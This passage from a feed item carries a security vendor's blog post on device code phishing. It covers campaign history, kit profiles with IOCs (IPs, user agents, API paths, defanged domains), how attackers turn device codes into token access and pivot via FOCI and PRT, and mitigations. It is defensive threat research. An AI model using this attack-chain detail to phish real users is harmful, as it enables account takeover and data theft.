surface.</p><p>Want to learn more about Push? Check out our latest <a href="/resources/product-brochure">product overview</a>, visit our <a href="/product-demo/">demo library</a>, or book some time with one of our team for a <a href="/demo">live demo</a>.</p>]]></content:encoded>
    </item>
    <item>
      <title>Device code phishing attacks have skyrocketed: here’s what you need to know</title>
      <link>https://pushsecurity.com/blog/device-code-phishing</link>
      <guid isPermaLink="true">https://pushsecurity.com/blog/device-code-phishing</guid>
      <pubDate>Sat, 04 Apr 2026 00:00:00 GMT</pubDate>
      <dc:creator>Luke Jennings</dc:creator>
      <category>Browser-based attacks</category>
      <category>Detection &amp; response</category>
      <description>Device code phishing is seeing a huge spike in adoption in 2026, enabling attackers to steal access tokens while bypassing standard access controls.</description>
      <content:encoded><![CDATA[<p><b>Update May 15:</b> We&#39;ve added details of three new kits, including proper samples of Venom, Tycoon2FA, and CYB3R, a new self-identifying kit — all from Push&#39;s customer detections. </p><p>The OAuth 2.0 <a href="https://www.rfc-editor.org/rfc/rfc8628"><u>device authorization grant</u></a> was designed to enable input-constrained devices to sign-in to apps by asking the user to complete the login on a separate device by entering a code. But today, it’s mainly used when accessing CLI tools, meaning that many users encounter the device code flow daily. </p><p><a href="https://github.com/pushsecurity/saas-attacks/blob/main/techniques/device_code_phishing/description.md"><u>Device code phishing</u></a> attacks designed to exploit this authorization flow are not new — it was among the first techniques that we added to the SaaS attacks matrix back in 2023. But it’s taken until now for it to really enter mainstream adoption. </p><p>The technique tricks a user into issuing access tokens for an attacker-controlled application (not a device, confusingly). Any app that supports device code logins can be a target. Popular examples include Microsoft, Google, Salesforce, GitHub, and AWS. That said, Microsoft is, as always, much more heavily targeted at scale now than any other app.</p><p>At the start of March, we’d observed a <b>15x</b> increase in device code phishing pages detected by our research team this year, with multiple kits and campaigns being tracked — with the kit now identified as EvilTokens the most prominent. <b>That figure has now risen to 37.5x</b>. More on that later. </p><p>We’ve always been surprised that attackers haven’t commonly used device code phishing in their standard toolkit, preferring session-stealing AITM phishing and other social engineering attacks like ClickFix. But it’s pretty clear from the recent data that the shift to mainstream adoption has now happened. </p><p>In this blog post, we’ll explore the history of device code phishing, what’s changed for it to enter mainstream adoption, how it works under the hood (with recent examples), and what security teams can do about it. </p><hr/><h1><b>A brief history of device code phishing</b></h1><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/7dPjgH1qTrpBIdqE0D4D0g/8d0bcaea877a9fcd325b272890d8dc63/device_code_phishing_4col_timeline_1.png" alt="Device code phishing evolution 2019-2026."/><figcaption>Device code phishing evolution 2019-2026.</figcaption></figure><p>The technique was first documented in 2020, before Secureworks released the first tooling framework <a href="https://github.com/secureworks/PhishInSuits"><u>PhishInSuits</u></a> a year later. A host of research followed, including <a href="https://github.com/secureworks/squarephish"><u>SquarePhish</u></a> v1 (using QR codes to trigger the 15 minute code expiration window), Dirk-Jan Mollema’s <a href="https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/"><u>key research</u></a> (chaining device code phishing via Microsoft apps into Primary Refresh Token (PRT) acquisition to gain full browser-level access) and Dennis Kniep’s <a href="https://github.com/denniskniep/DeviceCodePhishing"><u>DeviceCodePhishing tool</u></a> which automates the entire flow with a headless browser. (Other recent noteworthy tools include <a href="https://github.com/nromsdahl/squarephish2"><u>SquarePhish2</u></a> and <a href="https://github.com/praetorian-inc/GitPhish"><u>GitPhish</u></a>, so shout out to those too). </p><p>It wasn’t until August 2024 that in-the-wild exploitation was first identified, with Russia-linked campaigns then continuing into 2025 before entering mainstream criminal adoption. This trend has continued to gather momentum in 2026 with <a href="https://thehackernews.com/2026/03/device-code-phishing-hits-340-microsoft.html"><u>EvilTokens</u></a>, the first reported criminal PhaaS kit for device code phishing, already powering massive campaigns after launching in February. </p><p>PhaaS is key to the adoption of new phishing tools and techniques, providing broad access to criminal operators at scale while driving up execution standards. It has been central to the continued evolution of AITM and ClickFix, and is a strong indicator of what comes next for device code phishing.</p><p>Some of the noteworthy in-the-wild campaigns include:</p><ul><li><p>Storm-2372, tracked by <a href="https://www.microsoft.com/en-us/security/blog/2025/02/13/storm-2372-conducts-device-code-phishing-campaign/">Microsoft</a> and <a href="https://www.volexity.com/blog/2025/02/13/multiple-russian-threat-actors-targeting-microsoft-device-code-authentication/">Volexity</a>, linked to multiple Russia-aligned clusters, combining spear-phishing and social engineering with device code phishing payloads against strategic intelligence targets.</p></li><li><p>The massive Salesforce campaign operated by <a href="https://pushsecurity.com/blog/scattered-lapsus-hunters/">Scattered Lapsus$ Hunters</a> (SLH) combined vishing with a device code phishing payload targeting Salesforce. The attacks morphed into a broader supply chain campaign using stolen credentials, ultimately resulting in 1000+ organizations being compromised and over 1.5 billion stolen records claimed. </p></li><li><p>A massive spike in activity in late 2025 and 2026. This includes <a href="https://www.proofpoint.com/us/blog/threat-insight/access-granted-phishing-device-code-authorization-account-takeover">multiple threat clusters</a> tracked using device code phishing techniques, more <a href="https://www.bleepingcomputer.com/news/security/hackers-target-microsoft-entra-accounts-in-device-code-vishing-attacks/"><u>criminal operations linked to SLH</u></a>, and <a href="https://newtonpaul.com/blog/device-code-phish-update/"><u>hundreds of organizations being targeted via PhaaS architecture,</u></a> which looks to be the same campaign as the recently uncovered EvilTokens PhaaS reported by <a href="https://www.huntress.com/blog/railway-paas-m365-token-replay-campaign"><u>Huntress</u></a> (featuring abuse of the Railway PaaS platform). </p></li></ul><p>We&#39;re seeing a clear trend of existing PhaaS kits adding device code phishing functionality. Tycoon2FA, the category leader for criminal AITM phishing capabilities, has recently<a href="https://pushsecurity.com/blog/device-code-phishing/"> adopted device code phishing </a>alongside its established AiTM functionality (we&#39;ve provided some examples below), while the <a href="https://abnormal.ai/blog/venom-phishing-campaign-mfa-credential-theft"><u>Venom</u></a> kit that offers device code phishing capabilities that appear visually and functionally similar to EvilTokens has an AITM component that matches our detections for Sneaky2FA, indicating a possible overlap in tooling.</p><hr/><h1><b>What we’re seeing in the wild</b></h1><p>As mentioned, we’ve also seen a huge spike in device code phishing activity this year, with multiple kits, page designs, and lure types. We’ve now identified 14+ distinct kits in circulation in the wild, with EvilTokens being the most prevalent. It’s clear that attackers are both spinning up their own kits and creative derivatives of others — we’ve seen kits that are visually similar to EvilTokens (close enough to be clones or forks) but with very different backends, for example AWS, Digital Ocean, 2cloud, and more. </p><p>Many of the names provided are internal codenames. The information per kit is by no means exhaustive and is likely to evolve over time. </p><hr/><h2><b>“ANTIBOT” (EvilTokens)</b></h2><p><a href="https://www.huntress.com/blog/railway-paas-m365-token-replay-campaign"><u>Huntress</u></a>, <a href="https://blog.sekoia.io/new-widespread-eviltokens-kit-device-code-phishing-as-a-service-part-1/"><u>Sekoia</u></a>, and researcher <a href="https://newtonpaul.com/blog/device-code-phish-update/"><u>Paul Newton</u></a> have already done a great job of providing IOCs for the recent EvilTokens activity spike, including multiple backend Railway IPs in authentication events. </p><p>Our codename for EvilTokens internally was derived from the overly descriptive page code describing its bot protection capabilities (a clear sign of vibe coding — thanks Claude!):</p><p>&lt;!-- FIXED ANTI-BOT SYSTEM - WON&#39;T REDIRECT REAL USERS --&gt;</p><p>&lt;!-- ENHANCED ANTI-BOT SYSTEM WITH SERVER-SIDE VALIDATION --&gt;</p><p>Beyond the most widely observed implementation featuring a Cloudflare Workers frontend and Railway backend for authentication, we’ve also tracked additional versions of EvilTokens in circulation since January 2026 (many of which remain live along with the current “production” version of the kit). </p><p>You can see an evolution of the kit in the videos and screenshots below, from early precursors seen in mid-January, the first mentions of ANTIBOT in the page code in late-January, the parallel development of a “Courts Access” fork that lacks the ANTIBOT references, and finally production EvilTokens in February. One of the key threads between the versions is the presence of a generateFallbackCode() JS function and use of a /generate-codes API call. </p><p>Early implementations were quite different, for example using ScrapingBee to generate the displayed code, and varied hosting on vercel, fastly, edgeone, and others. </p><p>After initially appearing on custom domains, the production version is now predominantly hosted on Cloudflare Workers, as per the broader tracking of the campaign. The descriptive HTML comments around ANTIBOT functions have also been removed in later versions. </p><p>The production version of EvilTokens showcases common <a href="https://phishing-techniques.pushsecurity.com/"><u>detection evasion techniques</u></a> we&#39;ve come to associate with PhaaS kits in the AiTM space — using multiple redirects through trusted sites before serving the malicious page, using bot protection to block security tools from analyzing the page, and so on. It also uses a pop-up window for the device code entry rather than a redirect, reducing the friction for the victim (it looks pretty convincing, too).</p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/3pfFR7ICQQqOyhGAFAj67C/6f8873d82cc7f5233a0ca9baa74f7585/image15.png" alt="Precursor A (Left) &amp; B (Right): Different visual lures from January 2026. "/><figcaption>Precursor A (Left) &amp; B (Right): Different visual lures from January 2026.</figcaption></figure><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/VAdFlnCF4YftsOV02wnwu/8813ea3957b65ddfb84bb8ba5fb25a55/image6.png" alt="Early ANTIBOT: First appearance of the ANTIBOT comments, mid-Jan."/><figcaption>Early ANTIBOT: First appearance of the ANTIBOT comments, late-Jan.</figcaption></figure><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/7LEJpoif8dnub4qJw2z6kL/3b15161c9d3f2e4f7d4f323ec04f1f33/Group_687.png" alt="&quot;Courts Access&quot; lure with a similar security verification to Early ANTIBOT."/><figcaption>&quot;Courts Access&quot; lure with a similar security verification to Early ANTIBOT.</figcaption></figure><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/1J3fOSmUPF8f3FlcwYFoGe/5eff8c1a892f870d1488d6a0f38da03c/image12.png" alt="Production ANTIBOT: Current EvilTokens implementation."/><figcaption>Production ANTIBOT: Current EvilTokens implementation.</figcaption></figure><p></p><table><tr><td><p><b>Frontend infrastructure</b></p></td><td><p>Workers.dev, vercel.app, github.io, fastly.net, edgeone.dev</p></td></tr><tr><td><p><b>Backend infrastructure</b></p></td><td><p><b>Example IP: (V3) </b>162.220.232.71 (Railway AS400940) <b>(V2)</b> 71.11.42.193 <b>(V1) </b>72.218.25.107</p><p><b>Backend User Agent:</b> <b>(V3) </b>node, <b>(V2)</b>, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683 Safari/537.36 OPR/57.0.3098.91 <b>(V1) </b>Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36 OPR/56.0.3051.52 </p></td></tr><tr><td><p><b>Network paths</b></p></td><td><p>/api/rate-limit </p><p>/api/fingerprint </p><p>/api/captcha-verify </p><p>/api/init /api/generate-code </p><p>/api/check-auth</p></td></tr><tr><td><p><b>Lure themes</b></p></td><td><p>Various MS lures (e.g. Outlook, SharePoint, Teams) DocuSign, Adobe</p></td></tr><tr><td><p><b>Example Domain</b></p></td><td><p><b>Precursor A:</b> teams-zpfvwnpxuc[.]edgeone.dev</p><p><b>Precursor B: </b>authenticate-m365-accountsecurity-m-pi[.]vercel.app</p><p><b>Courts Access: </b>secure-systems-validations-courts[.]vercel.app</p><p><b>Early ANTIBOT:</b> interface-auth-en-useast[.]global.ssl.fastly.net</p><p><b>Production ANTIBOT: </b>index-z059-document-pending-reviewsign-xlss7994824[.]awalizer[.]workers.dev</p></td></tr></table><hr/><h2><b>“SHAREFILE”</b></h2><table><tr><td><p><b>Frontend infrastructure</b></p></td><td><p>No hosting markers visible.</p></td></tr><tr><td><p><b>Backend infrastructure</b></p></td><td><p><b>Example IP:</b> 147.45.60.47 (Global Connectivity Solutions LLP AS215540)</p><p><b>Backend User Agent:</b> node</p></td></tr><tr><td><p><b>Network paths</b></p></td><td><p>POST /api/device/start  POST /api/device/poll</p></td></tr><tr><td><p><b>Lure themes</b></p></td><td><p>Citrix ShareFile document transfer — file card with sender info, expiry warning, download/preview buttons</p></td></tr><tr><td><p><b>Example domain</b></p></td><td><p>cghdfg[.]vbchkioi[.]su</p></td></tr></table><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/1iKelffs399PIIBedgnqmu/64a40d1ad7f69f966665f44c52e0817b/image1.png" alt="SHAREFILE kit."/><figcaption>SHAREFILE kit.</figcaption></figure><hr/><h2><b>Kali365 (internal name “CLURE”)</b></h2><p>Clure was recently linked to the <b>Kali365</b> PhaaS platform based on an <a href="https://www.ic3.gov/PSA/2026/PSA260521">FBI advisory</a> and additional research from <a href="https://arcticwolf.com/resources/blog/token-bingo-dont-let-your-code-be-the-winner/">Arctic Wolf</a>. This is yet another example of Device Code Phishing and AiTM phishing capabilities being integrated into unified phishing platforms. </p><table><tr><td><p><b>Frontend infrastructure</b></p></td><td><p>API on api.duemineral.uk:8443 and api.loadingdocuments.uk:8443 (rotates). </p></td></tr><tr><td><p><b>Backend infrastructure</b></p></td><td><p><b>Example IP: </b>162.243.166.119 (DigitalOcean AS14061)</p><p><b>Backend User Agent:</b> python-requests/2.32.5</p></td></tr><tr><td><p><b>Network paths</b></p></td><td><p>GET /api/status/{numeric_SID} (port :8443)</p></td></tr><tr><td><p><b>Lure themes</b></p></td><td><p>SharePoint &quot;Team Site&quot; doc library, SharePoint &quot;Shared Document&quot; individual share</p></td></tr><tr><td><p><b>Example domain</b></p></td><td><p>auth[.]duemineral[.]uk</p></td></tr></table><hr/><h2><b>“LINKID”</b></h2><table><tr><td><p><b>Frontend infrastructure</b></p></td><td><p>Adobe variant has Cloudflare challenge-platform iframe (CF-protected origin). Relative API paths — self-hosted.</p></td></tr><tr><td><p><b>Backend infrastructure</b></p></td><td><p><b>Example IP: </b>185.176.220.22 (2cloud.eu AS39845)</p><p>2600:1f10:470d:9a00:1437:ec30:be61:3494 (AWS AS16509)</p><p><b>Backend User Agent:</b> axios/1.10.0 , axios/1.13.6</p></td></tr><tr><td><p><b>Network paths</b></p></td><td><p>POST /api/device/start</p><p>GET /api/device/status/{sessionId}</p></td></tr><tr><td><p><b>Lure themes</b></p></td><td><p>MS Teams meeting invitation (with interactive date/time picker), Adobe Acrobat Sign document review</p></td></tr><tr><td><p><b>Example domain</b></p></td><td><p>sdtr-site[.]cfd</p></td></tr></table><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/5XAibmWt8HDGbpOC9n1DEk/d4bcb1006d82116dff5865f5b911bc88/image9.png" alt="LINKID landing page requires an email before serving the payload."/></figure><hr/><h2><b>Device Code Lab (formerly codename &quot;AUTHOV”)</b></h2><p>AUTHOV was recently attributed to <b>Device Code Lab</b>, a professional grade, device code phishing platform, with numerous defense evasion and post-exploitation features, designed to interoperate with other phishing platforms. You can <a href="https://newtonpaul.com/blog/device-code-lab-post-exploit/">read Paul Newton&#39;s write-up here</a>. </p><table><tr><td><p><b>Frontend infrastructure</b></p></td><td><p>workers.dev</p></td></tr><tr><td><p><b>Backend infrastructure</b></p></td><td><p><b>Example IP: </b>192.3.225.100 (HostPapa / ColoCrossing AS36352)</p><p><b>Backend User Agent:</b> <b> </b>python-httpx/0.28.1</p></td></tr><tr><td><p><b>Network paths</b></p></td><td><p>GET /landing/api/session-status?session_id=&amp;token=</p></td></tr><tr><td><p><b>Lure themes</b></p></td><td><p>Adobe Acrobat document sharing (PDF preview, sender avatar)</p></td></tr><tr><td><p><b>Example domain</b></p></td><td><p>milosh-solibella-0dcio[.]sgttommy.workers.dev</p></td></tr></table><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/4wKaHuSRfMXvi056r88u0b/e77feca260fe5ceb07ea7a080a09148f/image8.png" alt="AUTHOV kit. Notably uses a popup like prod EvilTokens."/><figcaption>AUTHOV kit. Notably uses a popup like prod EvilTokens.</figcaption></figure><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/3qgmWJFz6hDUSEu2TcUWWU/9df13412c9ddb216020ae7a5fe476b5d/portal.png" alt="Device code lab portal"/><figcaption>Device Code Lab portal login page. Credit: Paul Newton</figcaption></figure><hr/><h2><b>“DOCUPOLL”</b></h2><table><tr><td><p><b>Frontend infrastructure</b></p></td><td><p>Github.io and workers.dev hosting</p></td></tr><tr><td><p><b>Backend infrastructure</b></p></td><td><p><b>Example IP: </b>144.172.103.240 (FranTech Solutions / RouterHosting / Cloudzy AS14956)</p><p><b>Backend User Agent:</b> Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19042</p></td></tr><tr><td><p><b>Network paths</b></p></td><td><p>POST /api/v1/landing-pages/public/{slug}/init</p><p>POST .../poll</p><p>POST .../track</p></td></tr><tr><td><p><b>Lure themes</b></p></td><td><p>DocuSign document signing. One sample is a full scrape of real docusign.com (free-account page) with kit injected.</p></td></tr><tr><td><p><b>Example domain</b></p></td><td><p>docufirmar[.]github.io</p></td></tr></table><hr/><h2><b>“FLOW_TOKEN”</b></h2><table><tr><td><p><b>Frontend infrastructure</b></p></td><td><p>workers.dev</p></td></tr><tr><td><p><b>Backend infrastructure</b></p></td><td><p><b>Example IP: </b>43.166.163.163 (Tencent Cloud AS132203)</p><p><b>Backend User Agent:</b> <b> </b>(null)</p></td></tr><tr><td><p><b>Network paths</b></p></td><td><p>POST /api/handler.php </p><p>(actions: device_code_generate, device_code_poll_public)</p></td></tr><tr><td><p><b>Lure themes</b></p></td><td><p>DocuSign &quot;Salary Adjustment Document — 2026&quot;, Microsoft banner · HR Department sender</p></td></tr><tr><td><p><b>Example domain</b></p></td><td><p>salaryadjustment-2afb52.pmb6fefc52b3f9aa5c2dbf[.]workers.dev</p></td></tr></table><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/4Bvbx5dwwBTOvAzULbnhIF/2d676145af0648b1e6f43b624af3ffbc/image7.png" alt="FLOW_TOKEN kit. Notably uses a popup like prod EvilTokens."/><figcaption>FLOW_TOKEN kit. Notably uses a popup like prod EvilTokens.</figcaption></figure><hr/><h2><b>“PAPRIKA”</b></h2><table><tr><td><p><b>Frontend infrastructure</b></p></td><td><p>AWS S3 hosting</p></td></tr><tr><td><p><b>Network paths</b></p></td><td><p>POST /api/v1/loader</p></td></tr><tr><td><p><b>Lure themes</b></p></td><td><p>MS login clone (&quot;Sign in to your account&quot;), &quot;Office 365&quot; branding, fake &quot;Powered by Okta&quot; footer</p></td></tr><tr><td><p><b>Example domain</b></p></td><td><p>redirect-523346-d95027ec[.]s3.amazonaws.com</p></td></tr></table><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/2XqwbTyGXRBaH6OM0t9moI/107cd701784fe8eed96eea2b9c09731a/image5.png" alt="PAPRIKA kit."/><figcaption>PAPRIKA kit.</figcaption></figure><hr/><h2><b>“DCSTATUS”</b></h2><table><tr><td><p><b>Frontend infrastructure</b></p></td><td><p>No hosting markers visible.</p></td></tr><tr><td><p><b>Network paths</b></p></td><td><p>GET /dc/status/{base64url_sid}</p></td></tr><tr><td><p><b>Lure themes</b></p></td><td><p>Generic &quot;Microsoft 365 - Secure Access&quot; verification page</p></td></tr><tr><td><p><b>Example domain</b></p></td><td><p>owa[.]apmmacleans[.]ca</p></td></tr></table><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/1zKQp6Wi0ckDZMLHBriU2Y/7d1c7c348407dcbde2eb94551baca7f5/image14.png" alt="DCSTATUS kit. "/><figcaption>DCSTATUS kit.</figcaption></figure><hr/><h2><b>“DOLCE”</b></h2><p>Our suspicion is that this was a one-off — potentially for a red team exercise — rather than representative of a more widely used kit.</p><table><tr><td><p><b>Frontend infrastructure</b></p></td><td><p>Microsoft PowerApps hosting</p></td></tr><tr><td><p><b>Backend infrastructure</b></p></td><td><p><b>Example IP: </b>34.53.159.84 (Google Cloud AS396982)</p><p><b>Backend User Agent:</b> Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36</p></td></tr><tr><td><p><b>Network paths</b></p></td><td><p>GET /api/generatecode (CloudFront)</p></td></tr><tr><td><p><b>Lure themes</b></p></td><td><p>Dolce &amp; Gabbana branded, Italian language, MS account verification</p></td></tr><tr><td><p><b>Example domain</b></p></td><td><p>data-migration-dolcegabbana[.]powerappsportals.com</p></td></tr></table><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/6iUfj8vMymi2c7lZxj006n/88b8066e6bea9fa7a81bd6b546264796/image16.png" alt="DOLCE kit."/><figcaption>DOLCE kit.</figcaption></figure><hr/><h2><b>Venom</b></h2><table><tr><td><p><b>Network paths</b></p></td><td><p>POST /token/api/device/start
GET /token/api/device/status/{sessionId}</p></td></tr><tr><td><p><b>Lure themes</b></p></td><td><p>Various: examples include DocuSign &quot;Verification&quot; (Microsoft sign-in pretext); DHL &quot;Delivery Checkpoint&quot; package shipment pretext</p></td></tr></table><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/2NThjmQSR5XFdnKEQKXfnd/237318895da6f558cc03b2915217afea/Venom_Device_Code_Phishing__1_.png" alt="Venom Device Code Phishing Screenshots"/><figcaption>Examples of the Venom platform impersonating brands like YPO, FedEx and DHL.</figcaption></figure><hr/><h2><b>Tycoon2FA</b></h2><table><tr><td><p><b>Frontend infrastructure</b></p></td><td><p>Github.io and Cloudflare Workers (workers.dev) hosting</p><p>Compromised-site landing pages and CF Workers (*.workers.dev) used as frontends; victim email passed in URL as last path segment ($base64) or ?acct/?encoded query</p></td></tr><tr><td><p><b>Backend infrastructure</b></p></td><td><p><b>Example IP: </b>47.253.5.88 (Alibaba Cloud)</p><p><b>Backend User Agent:</b> node</p></td></tr><tr><td><p><b>Network paths</b></p></td><td><p>GET /api/session/{UUIDv4} polled with header X-API-Key: &lt;prefix&gt;_&lt;64-hex&gt; (key materialised at runtime via atob(window.__cyb3r.k)) 
POST /api/device-code with body {&quot;prt_foci_session_id&quot;: &quot;&lt;UUID&gt;&quot;} (second-stage code retrieval after initial session error)</p></td></tr><tr><td><p><b>Lure themes</b></p></td><td><p>Various: SharePoint &quot;Remittance Advice&quot;; Microsoft 365 generic sign-in; Microsoft 365 Voicemail (.mp3 attachment); OneDrive &quot;Shared file&quot;; German &quot;Sicheres Dokumentenportal&quot; PDF lure</p></td></tr><tr><td><p><b>Example domain</b></p></td><td><p>afriqbeauglobal[.]com/homepage/index[.]html</p></td></tr></table><hr/><h2><b>&quot;CYB3R&quot;</b></h2><table><tr><td><p><b>Frontend infrastructure</b></p></td><td><p>Cloudflare Workers (workers.dev) hosting</p></td></tr><tr><td><p><b>Backend infrastructure</b></p></td><td><p><b>Example IP: </b>2400:8d60:2::1:c116:843e (Evoxt VPS)</p><p><b>Backend User Agent:</b> axios/1.13.6</p></td></tr><tr><td><p><b>Network paths</b></p></td><td><p>GET /api/session/{UUIDv4} polled with header X-API-Key: &lt;prefix&gt;_&lt;64-hex&gt; (key materialised at runtime via atob(window.__cyb3r.k)) 
POST /api/device-code with body {&quot;prt_foci_session_id&quot;: &quot;&lt;UUID&gt;&quot;} (second-stage code retrieval after initial session error)</p></td></tr><tr><td><p><b>Lure themes</b></p></td><td><p>DocuSign in Spanish (&quot;Documento Firmar — COTIZACIÓN/ESTIMACIÓN.pdf&quot;, &quot;Complete su firma&quot;, &quot;Verifique su identidad&quot;, &quot;Continuar a Microsoft&quot;).</p></td></tr><tr><td><p><b>Example domain</b></p></td><td><p>muzagestion[.]secure-share[.]workers.dev</p></td></tr></table><p>Clearly, device code phishing has entered mainstream adoption and we should be prepared for a lot more of it in future. So how does it work, and why is it so effective?</p><hr/><h1><b>Device code phishing under the hood</b></h1><p>The attacker POSTs to the authorization server&#39;s device authorization endpoint with its client_id (i.e. an application ID) and requested scopes or resources. The server responds with a device_code (used for polling), a user_code, a verification_uri, an expires_in value, and a polling interval. The user visits the URL, enters the code and approves the request. Meanwhile, the device polls the token endpoint. Once approved, the server returns an access token, a refresh token (if offline_access was requested), and an ID token (if openid was included). <b>The attacker now has API access to the victim&#39;s account. </b></p><p>Broadly, this gives the attacker a comparable level of control to a “normal” phishing attack (with conditions based on the scopes granted and specific app being targeted) while API access grants additional capabilities beyond standard browser sessions. When combined with other techniques, this access can be exchanged to open normal browser app sessions and access SSO connected apps.</p><p>When targeting Microsoft environments, attackers can use the <a href="https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/">PRT escalation technique</a> I mentioned in earlier research to get seamless SSO across <i>all</i> Entra ID-connected applications and web services. This requires that you specifically target the <b>Microsoft Authentication Broker</b> application, chained into a new device registration in the victim&#39;s environment. This is the method that Storm-2372 was leveraging in 2025. </p><p>But even without this step, many Microsoft first-party apps also belong to the <b>Family of Client IDs (FOCI)</b>, meaning a refresh token obtained for one family member can be exchanged for access tokens to other family members without re-authentication. In practice, this means an attacker who phishes a token via e.g. the Microsoft Office client ID, can silently pivot to access Outlook, Teams, OneDrive, SharePoint, and Azure Management APIs — all from a single phished session. </p><figure><img src="https://images.ctfassets.net/y1cdw1ablpvd/60e9ErrL8tp3xtoer4gNUl/83899c207f61fdd9ff8aad0e1001030d/image2.png" alt="Device code phishing attack chain."/><figcaption>Device code phishing attack chain.</figcaption></figure><p>At this point, you can achieve a number of objectives both inside the app ecosystem and across SSO connected apps — e.g. data theft, disruption, and ultimately extortion.</p><p>Critically, the initial request to generate a device code is typically <b>unauthenticated</b> across all providers — <b>anyone can generate one, from any machine, without proving any relationship to the target organization.</b></p><p>So, the attacker has to deliver a set of instructions via a phishing channel (e.g. email, social media DM, corp IM platform, and so on) with a device code that they have generated. The victim then enters this code on the <b>legitimate device code login page</b> for that app and issues the tokens to the attacker.</p><p>One of the key limitations of early device code phishing was that the code was being sent directly over email (as in the Russia-linked campaigns in 2024-5). This meant that the code would expire unless used immediately, requiring highly engaged social engineering to pull off. To get around this, modern device code phishing pages are continuously polling for fresh codes via API. This arguably makes them more discoverable than simply providing the code and instructions in a direct message, but is way more scalable for the attacker. </p><hr/><h1><b>Why device code phishing is so dangerous</b></h1><h2><b>Device code phishing bypasses authentication controls (including passkeys)</b></h2><p>A device code phishing attack <b>cannot be prevented with authentication controls</b>. This includes all forms of MFA and <b>even “phishing-resistant” authentication methods such as passkeys. </b></p><p><b>The device code authorization is effectively performed post-authentication. </b>If you already have an active session in your browser, entering the device code and selecting your account from a drop-down menu is all that&#39;s needed. <b>No password or MFA required. </b>You can see an example in the video below.</p><p>Even if you do have to sign in again (because you&#39;re not already signed in for some reason), the attack still works because it isn&#39;t targeting the login — it&#39;s targeting the authorization layer instead.</p><p>This is what makes device code phishing different to other standard phishing methods like AiTM phishing (and arguably even more effective in environments with strict identity control enforcement). </p><h2><b>Device code logins are a feature, not a vulnerability, making attacks difficult to block</b></h2><p>Device code authorization is a legitimate mechanism regularly used in enterprise environments, particularly for CLI logins. Tools like Azure CLI, GitHub CLI, and AWS CLI all use (or have used) the device code flow as a primary or fallback authentication method. This creates a dual problem for defenders. </p><p>First, the phishing attack happens entirely on a legitimate site — there&#39;s no fake login page, no malicious payload to scan for, and the URL in the browser is genuine. Since there&#39;s no traditional phishing content being delivered, these attacks are more resistant to detection by email and network security tools.</p><p>Second, the widespread legitimate use of device code flow — particularly among developers and technical users — normalizes the experience of entering device codes. A phishing lure asking them to do the same thing is indistinguishable from a legitimate IT request. And for non-technical users, this experience isn&#39;t much different to, for example, entering a code sent via email or authenticator app. </p><h2><b>Multiple apps are vulnerable, with different risk profiles</b></h2><p>Various apps implement the device code flow, each with different levels of control and default security, but the risk is not uniform across platforms. </p><ul><li><p><b>Google Workspace </b>is a significantly lower-risk target because Google explicitly limits which scopes are available to the device code flow — Gmail, Calendar, and most Workspace APIs are simply unavailable through this mechanism. </p></li><li><p><b>Microsoft</b> offers the broadest attack surface due to unrestricted scopes, reusable first-party client IDs, and the FOCI/PRT escalation paths. </p></li><li><p>Apps like <b>GitHub</b> sit in between — broad scopes are available (including full repository access), but the attacker must control their own OAuth app and the victim sees an explicit consent screen. </p></li></ul><p><b>First-party applications</b> are commonly abused in Microsoft-targeted attacks. These are <a href="https://gist.github.com/dafthack/2c0bbcac72b10c1ee205d1dd2fed3fe7"><b><u>real Microsoft applications</u></b></a> registered in every Entra ID tenant. Not only are they allowed by default (unlike third-party apps that are often subject to additional restrictions and require additional tenant-level consent before they can be accessed by a user), they come with pre-consented permissions, and can even access undocumented “legacy” scopes that aren&#39;t logged by default (exploited in the Russia-linked <a href="https://pushsecurity.com/blog/consentfix/"><u>ConsentFix</u></a> campaign reported by Push researchers). </p><p>In other cases, such as when targeting GitHub or Salesforce, <b>third-party applications</b> are often leveraged. These aren&#39;t necessarily fresh, attacker-created apps — they can be attacker-controlled instances of otherwise legitimate applications. That said, it is easier than ever for attackers to spin up their own OAuth apps, particularly using AI tools. The trade-off is that the victim has to consent to the app from the tenant level before also granting access to their account, introducing more friction to the process, and potentially running into additional security controls and restrictions depending on tenant configuration. </p><hr/><h1><b>Security recommendations</b></h1><p>Security teams need to consider the risk posed by device code phishing across multiple apps where device code authorization grants are common, particularly for developers and technical users. </p><p>In an ideal world, you would simply block device code logins. But this can’t be done without causing serious disruption in some environments, while some apps simply don’t provide the tools required to do so. For example, device code is the default CLI sign-in method for GitHub. Developer-heavy organizations are likely to encounter higher levels of legitimate use.</p><p>Microsoft arguably offers the strongest control options (other than Google, who negate it right out of the gate), though they do require a fair amount of work. <a href="https://techcommunity.microsoft.com/blog/microsoft-entra-blog/new-microsoft-managed-policies-to-raise-your-identity-security-posture/4286758"><u>Microsoft now explicitly recommends</u></a> blocking device code flow for tenants that haven&#39;t used it in the past 25 days. Their guidance is to create a custom CA policy: target relevant users, set the <b>Authentication Flows</b> condition to block <b>Device Code Flow</b>, and set the grant control to <b>Block Access</b>. Deploy in report-only mode first to identify any legitimate device code usage, then enforce with narrow exceptions.</p><p>However, it&#39;s important to recognize that blocking device code flow is not a complete solution. Related techniques like <a href="https://pushsecurity.com/blog/consentfix/">ConsentFix</a> — which 